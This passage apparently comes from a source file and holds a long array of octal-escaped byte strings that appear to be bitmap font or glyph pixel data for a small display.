\"\\370\\340\\200\\0\\7\\7\\7\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\7\\37\\177\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\77\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\377\\377\\377\\377\\374\\376\\377\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\317\\357\\377\\377\\377\\377\\377\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\377\\377\\177\\37\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\376\\377\\377\\377\\377\\377\\357\\343\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\360\\360\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\"\n  \"\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\20p\\370\\370\\374\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\376\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\377\\377\\377\\377\\370\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\37\\17\\17\"\n  \"\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\376\\377\\377\\177\\377\\377\\377\\374\\370\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\177\\37\\17\\3\\1\\0\\0\\3\\17\\77\\177\\377\\377\\377\\374\\360\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\340\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\376\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\177\\377\\377\\377\\377\\377\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\177\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\203\\201\\201\\200\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\307\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\300\\360\\370\\374\\376\\376\\377\\377\\77\\77\\37\\37\\37\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\37\\77\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\360\\360\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\177\\377\\377\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\7\\7\\7\\7\\7\\3\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\376\\376~~~~~~~~\\376\\376\\374\\374\\370\\370\"\n  \"\\360\\340\\300\\200\\0\\340\\374\\377\\377\\377\\377\\377\\77\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\37\\37\"\n  \"\\17\\3\\1\\0\\0\\77\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37\\77\\177\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\360\\370\\370\\374\\376\\376\\377\"\n  \"~<\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\"\n  \"\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\370\\370\\360\\340\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\17\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\77\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\7\\37\\77\\377\\377\\377\\377\\376\\374\\370\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\337\\307\\303\\301\\301\\300\\300\\300\\300\\300\\300\\300\\301\\301\\303\\317\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\0\\0\\377\\377\\377\\377\\377\\377\\377\\217\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\7\\17\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\374x\"\n  \"\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\"\n  \"\\370\\360\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\37\\7\\3\\1\\1\\0\\0\\0\\0\\1\\1\\3\\3\"\n  \"\\17\\37\\77\\17\\0\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370\\370\\374\\374|||~|||\\374\\374\\370\\370\\360\\360\\370\\370\\374\\374\\374\"\n  \"\\374\\374\\374\\374\\374\\377\\377\\377\\377\\377\\377\\303\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\303\\377\\377\\377\\377\\377\\374\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\7\\217\\337\\377\\377\\377\\377\\376\\376\\374\\374\\374\\374\\374\\376\\376\\177\\177\\77\\77\\37\\17\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\36\\277\\377\\377\\377\\377\\375\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\360\\360\\360\\340\"\n  \"\\300\\200\\0\\0\\374\\376\\377\\377\\377\\377\\317\\203\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\201\\203\\303\\377\\377\\377\\377\"\n  \"\\377\\377~\\0\\3\\7\\17\\37\\37\\77\\77\\77\\77\\177\\177~~~~~~~\\177\\177\\77\\77\\77\\77\\37\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\300\\340\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\360\\360\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\17\\7\\3\\1\\1\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\2\\7\\17\\37\\37\\77\\77\\77\\177\\177\\177~~\\177\\177\\77\\77\\77\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\"\n  